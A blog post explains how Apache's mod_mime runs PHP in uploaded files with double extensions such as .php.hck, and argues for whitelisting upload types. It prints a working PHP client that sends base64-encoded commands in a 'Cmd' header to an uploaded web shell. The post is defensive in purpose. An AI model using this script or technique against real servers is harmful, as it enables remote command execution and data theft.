Since I'm on a 'finish blog drafts' spree, I might as well publish this one also. I actually had it in draft for about 5 months now anyway.
In most upload tools files are checked on extensions only, while it might seem pretty solid it's actually not as safe as you might think. Especially in combination with Apache and mod_mime.
When you do:
rename image.jpg image.txt and you request it: domain.com/image.txt you get garbled text.
However when you try something like this:
rename file.php file.php.bogus and you request it: domain.com/file.php.bogus
PHP code within the file is handled by the handler set for that extension.
Before you get all excited, the scenario when this happens is not likely to happen, because it only works for unknown file extensions. So basically, this can only happen when you work with black-listing rather then white-listing. And when checking files, you shouldn't be black-listing in the first place. Let's go into detail about the why.
The why
The problem of this is caused mostly by Apache's mod_mime module. It can handle files with double extensions so that both the extension handle, and the mime type will be respected.
In essence this means if you name a file: filename.php.html the file will be handled by PHP. Causing a potential exploit to be placed in this file.
And while this might seem as a bug, it's actually a feature. A quote from the apache mod_mime website:
"Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This will usually result in the request being by the module associated with the handler. For example, if the .imap extension is mapped to the handler imap-file (from mod_imap) and the .html extension is mapped to the MIME-type text/html, then the file world.imap.html will be associated with both the imap-file handler and text/html MIME-type. When it is processed, the imap-file handler will be used, and so it will be treated as a mod_imap imagemap file."
Exploit example
oceanview.php.hck Uploaded via a form or javascript tool without proper validation
Containing:
Attack script:
$handle =
fopen("php://stdin",
"r");
$filename =
'/path/to/oceanview.php.hck';
$server =
'www.dynom.nl';
while (TRUE) { $command =
trim(fgets($handle));
if ($command !=
"exit") { $data =
"GET ".
$filename .
" HTTP/1.0\r\n" .
"Host: ".
$server .
"\r\n" .
"Cmd: ".
base64_encode($command) .
"\r\n" .
"Connection: close\r\n\r\n";
$conn =
fsockopen($server,
80);
$response =
'';
if ($conn !==
FALSE) { fwrite($conn,
$data);
while (feof($conn) ===
FALSE) { $response .=
fread($conn,
1024);
} } echo $response;
} else { break;
}} (Actual code of a exploit floating around the internet)This basically gives the attacker unlimited access to your environment, giving full exposure to any php command (not disabled, and within safe mode restrictions), your database, session files (not just your own, but possibly others, depending on the web server configurations), etc.
So, another reason why not to use blacklisting, and hopefully this article makes you aware of the possibilities of mod_mime.